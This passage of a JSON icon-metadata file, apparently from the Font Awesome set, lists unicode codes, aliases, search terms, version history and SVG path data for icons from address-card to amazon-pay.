        "path": "M384 48c8.8 0 16 7.2 16 16V448c0 8.8-7.2 16-16 16H96c-8.8 0-16-7.2-16-16V64c0-8.8 7.2-16 16-16H384zM96 0C60.7 0 32 28.7 32 64V448c0 35.3 28.7 64 64 64H384c35.3 0 64-28.7 64-64V64c0-35.3-28.7-64-64-64H96zM240 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H336c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H208zM512 80c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V80zM496 192c-8.8 0-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V208c0-8.8-7.2-16-16-16zm16 144c0-8.8-7.2-16-16-16s-16 7.2-16 16v64c0 8.8 7.2 16 16 16s16-7.2 16-16V336z"
      }
    },
    "free": ["regular", "solid"]
  },
  "address-card": {
    "aliases": {
      "names": ["contact-card", "vcard"],
      "unicodes": {
        "composite": ["f2bc"],
        "secondary": ["10f2bb"]
      }
    },
    "changes": [
      "4.7.0",
      "5.0.0",
      "5.0.3",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "about",
        "contact",
        "id",
        "identification",
        "postcard",
        "profile",
        "registration"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f2bb",
    "label": "Address Card",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 256h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zm256-32H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zm80 256h64c44.2 0 80 35.8 80 80c0 8.8-7.2 16-16 16H80c-8.8 0-16-7.2-16-16c0-44.2 35.8-80 80-80zm-32-96a64 64 0 1 1 128 0 64 64 0 1 1 -128 0zm256-32H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16zm0 64H496c8.8 0 16 7.2 16 16s-7.2 16-16 16H368c-8.8 0-16-7.2-16-16s7.2-16 16-16z"
      },
      "regular": {
        "last_modified": 1684767620,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM208 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H304c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H176zM376 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M512 80c8.8 0 16 7.2 16 16V416c0 8.8-7.2 16-16 16H64c-8.8 0-16-7.2-16-16V96c0-8.8 7.2-16 16-16H512zM64 32C28.7 32 0 60.7 0 96V416c0 35.3 28.7 64 64 64H512c35.3 0 64-28.7 64-64V96c0-35.3-28.7-64-64-64H64zM208 256a64 64 0 1 0 0-128 64 64 0 1 0 0 128zm-32 32c-44.2 0-80 35.8-80 80c0 8.8 7.2 16 16 16H304c8.8 0 16-7.2 16-16c0-44.2-35.8-80-80-80H176zM376 144c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376zm0 96c-13.3 0-24 10.7-24 24s10.7 24 24 24h80c13.3 0 24-10.7 24-24s-10.7-24-24-24H376z"
      }
    },
    "free": ["regular", "solid"]
  },
  "adn": {
    "changes": ["3.2.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f170",
    "label": "App.net",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 496 512\"><path d=\"M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z\"/></svg>",
        "viewBox": [0, 0, 496, 512],
        "width": 496,
        "height": 512,
        "path": "M248 167.5l64.9 98.8H183.1l64.9-98.8zM496 256c0 136.9-111.1 248-248 248S0 392.9 0 256 111.1 8 248 8s248 111.1 248 248zm-99.8 82.7L248 115.5 99.8 338.7h30.4l33.6-51.7h168.6l33.6 51.7h30.2z"
      }
    },
    "free": ["brands"]
  },
  "adversal": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36a",
    "label": "Adversal",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014478,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M482.1 32H28.7C5.8 32 0 37.9 0 60.9v390.2C0 474.4 5.8 480 28.7 480h453.4c24.4 0 29.9-5.2 29.9-29.7V62.2c0-24.6-5.4-30.2-29.9-30.2zM178.4 220.3c-27.5-20.2-72.1-8.7-84.2 23.4-4.3 11.1-9.3 9.5-17.5 8.3-9.7-1.5-17.2-3.2-22.5-5.5-28.8-11.4 8.6-55.3 24.9-64.3 41.1-21.4 83.4-22.2 125.3-4.8 40.9 16.8 34.5 59.2 34.5 128.5 2.7 25.8-4.3 58.3 9.3 88.8 1.9 4.4.4 7.9-2.7 10.7-8.4 6.7-39.3 2.2-46.6-7.4-1.9-2.2-1.8-3.6-3.9-6.2-3.6-3.9-7.3-2.2-11.9 1-57.4 36.4-140.3 21.4-147-43.3-3.1-29.3 12.4-57.1 39.6-71 38.2-19.5 112.2-11.8 114-30.9 1.1-10.2-1.9-20.1-11.3-27.3zm286.7 222c0 15.1-11.1 9.9-17.8 9.9H52.4c-7.4 0-18.2 4.8-17.8-10.7.4-13.9 10.5-9.1 17.1-9.1 132.3-.4 264.5-.4 396.8 0 6.8 0 16.6-4.4 16.6 9.9zm3.8-340.5v291c0 5.7-.7 13.9-8.1 13.9-12.4-.4-27.5 7.1-36.1-5.6-5.8-8.7-7.8-4-12.4-1.2-53.4 29.7-128.1 7.1-144.4-85.2-6.1-33.4-.7-67.1 15.7-100 11.8-23.9 56.9-76.1 136.1-30.5v-71c0-26.2-.1-26.2 26-26.2 3.1 0 6.6.4 9.7 0 10.1-.8 13.6 4.4 13.6 14.3-.1.2-.1.3-.1.5zm-51.5 232.3c-19.5 47.6-72.9 43.3-90 5.2-15.1-33.3-15.5-68.2.4-101.5 16.3-34.1 59.7-35.7 81.5-4.8 20.6 28.8 14.9 84.6 8.1 101.1zm-294.8 35.3c-7.5-1.3-33-3.3-33.7-27.8-.4-13.9 7.8-23 19.8-25.8 24.4-5.9 49.3-9.9 73.7-14.7 8.9-2 7.4 4.4 7.8 9.5 1.4 33-26.1 59.2-67.6 58.8z"
      }
    },
    "free": ["brands"]
  },
  "affiliatetheme": {
    "changes": ["5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36b",
    "label": "affiliatetheme",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014471,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M159.7 237.4C108.4 308.3 43.1 348.2 14 326.6-15.2 304.9 2.8 230 54.2 159.1c51.3-70.9 116.6-110.8 145.7-89.2 29.1 21.6 11.1 96.6-40.2 167.5zm351.2-57.3C437.1 303.5 319 367.8 246.4 323.7c-25-15.2-41.3-41.2-49-73.8-33.6 64.8-92.8 113.8-164.1 133.2 49.8 59.3 124.1 96.9 207 96.9 150 0 271.6-123.1 271.6-274.9.1-8.5-.3-16.8-1-25z"
      }
    },
    "free": ["brands"]
  },
  "airbnb": {
    "changes": ["5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f834",
    "label": "Airbnb",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014459,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M224 373.12c-25.24-31.67-40.08-59.43-45-83.18-22.55-88 112.61-88 90.06 0-5.45 24.25-20.29 52-45 83.18zm138.15 73.23c-42.06 18.31-83.67-10.88-119.3-50.47 103.9-130.07 46.11-200-18.85-200-54.92 0-85.16 46.51-73.28 100.5 6.93 29.19 25.23 62.39 54.43 99.5-32.53 36.05-60.55 52.69-85.15 54.92-50 7.43-89.11-41.06-71.3-91.09 15.1-39.16 111.72-231.18 115.87-241.56 15.75-30.07 25.56-57.4 59.38-57.4 32.34 0 43.4 25.94 60.37 59.87 36 70.62 89.35 177.48 114.84 239.09 13.17 33.07-1.37 71.29-37.01 86.64zm47-136.12C280.27 35.93 273.13 32 224 32c-45.52 0-64.87 31.67-84.66 72.79C33.18 317.1 22.89 347.19 22 349.81-3.22 419.14 48.74 480 111.63 480c21.71 0 60.61-6.06 112.37-62.4 58.68 63.78 101.26 62.4 112.37 62.4 62.89.05 114.85-60.86 89.61-130.19.02-3.89-16.82-38.9-16.82-39.58z"
      }
    },
    "free": ["brands"]
  },
  "algolia": {
    "changes": ["5.0.0", "6.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f36c",
    "label": "Algolia",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1675090779,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M256 0C116.1 0 2 112.7 0 252.1C-2 393.6 112.9 510.8 254.5 511.6c43.7 .3 85.9-10.4 123.3-30.7c3.6-2 4.2-7 1.1-9.7l-24-21.2c-4.9-4.3-11.8-5.5-17.8-3c-26.1 11.1-54.5 16.8-83.7 16.4C139 461.9 46.5 366.8 48.3 252.4C50.1 139.5 142.6 48.2 256 48.2H463.7V417.2L345.9 312.5c-3.8-3.4-9.7-2.7-12.7 1.3c-18.9 25-49.7 40.6-83.9 38.2c-47.5-3.3-85.9-41.5-89.5-88.9c-4.2-56.6 40.6-103.9 96.3-103.9c50.4 0 91.9 38.8 96.2 88c.4 4.4 2.4 8.5 5.7 11.4l30.7 27.2c3.5 3.1 9 1.2 9.9-3.4c2.2-11.8 3-24.2 2.1-36.8c-4.9-72-63.3-130-135.4-134.4c-82.7-5.1-151.8 59.5-154 140.6c-2.1 78.9 62.6 147 141.6 148.7c33 .7 63.6-9.6 88.3-27.6L495 509.4c6.6 5.8 17 1.2 17-7.7V9.7c0-5.4-4.4-9.7-9.7-9.7H256z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M256 0C116.1 0 2 112.7 0 252.1C-2 393.6 112.9 510.8 254.5 511.6c43.7 .3 85.9-10.4 123.3-30.7c3.6-2 4.2-7 1.1-9.7l-24-21.2c-4.9-4.3-11.8-5.5-17.8-3c-26.1 11.1-54.5 16.8-83.7 16.4C139 461.9 46.5 366.8 48.3 252.4C50.1 139.5 142.6 48.2 256 48.2H463.7V417.2L345.9 312.5c-3.8-3.4-9.7-2.7-12.7 1.3c-18.9 25-49.7 40.6-83.9 38.2c-47.5-3.3-85.9-41.5-89.5-88.9c-4.2-56.6 40.6-103.9 96.3-103.9c50.4 0 91.9 38.8 96.2 88c.4 4.4 2.4 8.5 5.7 11.4l30.7 27.2c3.5 3.1 9 1.2 9.9-3.4c2.2-11.8 3-24.2 2.1-36.8c-4.9-72-63.3-130-135.4-134.4c-82.7-5.1-151.8 59.5-154 140.6c-2.1 78.9 62.6 147 141.6 148.7c33 .7 63.6-9.6 88.3-27.6L495 509.4c6.6 5.8 17 1.2 17-7.7V9.7c0-5.4-4.4-9.7-9.7-9.7H256z"
      }
    },
    "free": ["brands"]
  },
  "align-center": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f037"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "middle", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f037",
    "label": "Align Center",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M352 64c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32zm96 128c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 448c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM352 320c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M352 64c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32zm96 128c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 448c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM352 320c0-17.7-14.3-32-32-32H128c-17.7 0-32 14.3-32 32s14.3 32 32 32H320c17.7 0 32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "align-justify": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f039"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f039",
    "label": "Align Justify",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767207,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32zm0 256c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 192c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM448 448c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 64c0-17.7-14.3-32-32-32H32C14.3 32 0 46.3 0 64S14.3 96 32 96H416c17.7 0 32-14.3 32-32zm0 256c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32zM0 192c0 17.7 14.3 32 32 32H416c17.7 0 32-14.3 32-32s-14.3-32-32-32H32c-17.7 0-32 14.3-32 32zM448 448c0-17.7-14.3-32-32-32H32c-17.7 0-32 14.3-32 32s14.3 32 32 32H416c17.7 0 32-14.3 32-32z"
      }
    },
    "free": ["solid"]
  },
  "align-left": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f036"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f036",
    "label": "Align Left",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767206,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M288 64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32H256c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M288 64c0 17.7-14.3 32-32 32H32C14.3 96 0 81.7 0 64S14.3 32 32 32H256c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H256c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "align-right": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f038"]
      }
    },
    "changes": [
      "1.0.0",
      "5.0.0",
      "5.9.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": ["format", "paragraph", "text"]
    },
    "styles": ["solid"],
    "unicode": "f038",
    "label": "Align Right",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767205,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M448 64c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M448 64c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zm0 256c0 17.7-14.3 32-32 32H192c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32zM0 192c0-17.7 14.3-32 32-32H416c17.7 0 32 14.3 32 32s-14.3 32-32 32H32c-17.7 0-32-14.3-32-32zM448 448c0 17.7-14.3 32-32 32H32c-17.7 0-32-14.3-32-32s14.3-32 32-32H416c17.7 0 32 14.3 32 32z"
      }
    },
    "free": ["solid"]
  },
  "alipay": {
    "changes": ["5.3.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f642",
    "label": "Alipay",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014461,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M377.74 32H70.26C31.41 32 0 63.41 0 102.26v307.48C0 448.59 31.41 480 70.26 480h307.48c38.52 0 69.76-31.08 70.26-69.6-45.96-25.62-110.59-60.34-171.6-88.44-32.07 43.97-84.14 81-148.62 81-70.59 0-93.73-45.3-97.04-76.37-3.97-39.01 14.88-81.5 99.52-81.5 35.38 0 79.35 10.25 127.13 24.96 16.53-30.09 26.45-60.34 26.45-60.34h-178.2v-16.7h92.08v-31.24H88.28v-19.01h109.44V92.34h50.92v50.42h109.44v19.01H248.63v31.24h88.77s-15.21 46.62-38.35 90.92c48.93 16.7 100.01 36.04 148.62 52.74V102.26C447.83 63.57 416.43 32 377.74 32zM47.28 322.95c.99 20.17 10.25 53.73 69.93 53.73 52.07 0 92.58-39.68 117.87-72.9-44.63-18.68-84.48-31.41-109.44-31.41-67.45 0-79.35 33.06-78.36 50.58z"
      }
    },
    "free": ["brands"]
  },
  "amazon": {
    "changes": ["4.4.0", "5.0.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f270",
    "label": "Amazon",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014474,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M257.2 162.7c-48.7 1.8-169.5 15.5-169.5 117.5 0 109.5 138.3 114 183.5 43.2 6.5 10.2 35.4 37.5 45.3 46.8l56.8-56S341 288.9 341 261.4V114.3C341 89 316.5 32 228.7 32 140.7 32 94 87 94 136.3l73.5 6.8c16.3-49.5 54.2-49.5 54.2-49.5 40.7-.1 35.5 29.8 35.5 69.1zm0 86.8c0 80-84.2 68-84.2 17.2 0-47.2 50.5-56.7 84.2-57.8v40.6zm136 163.5c-7.7 10-70 67-174.5 67S34.2 408.5 9.7 379c-6.8-7.7 1-11.3 5.5-8.3C88.5 415.2 203 488.5 387.7 401c7.5-3.7 13.3 2 5.5 12zm39.8 2.2c-6.5 15.8-16 26.8-21.2 31-5.5 4.5-9.5 2.7-6.5-3.8s19.3-46.5 12.7-55c-6.5-8.3-37-4.3-48-3.2-10.8 1-13 2-14-.3-2.3-5.7 21.7-15.5 37.5-17.5 15.7-1.8 41-.8 46 5.7 3.7 5.1 0 27.1-6.5 43.1z"
      }
    },
    "free": ["brands"]
  },
  "amazon-pay": {
    "changes": ["5.0.2", "5.8.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f42c",
    "label": "Amazon Pay",
    "voted": false,
    "svg": {
      "brands": {
        "last_modified": 1660014473,
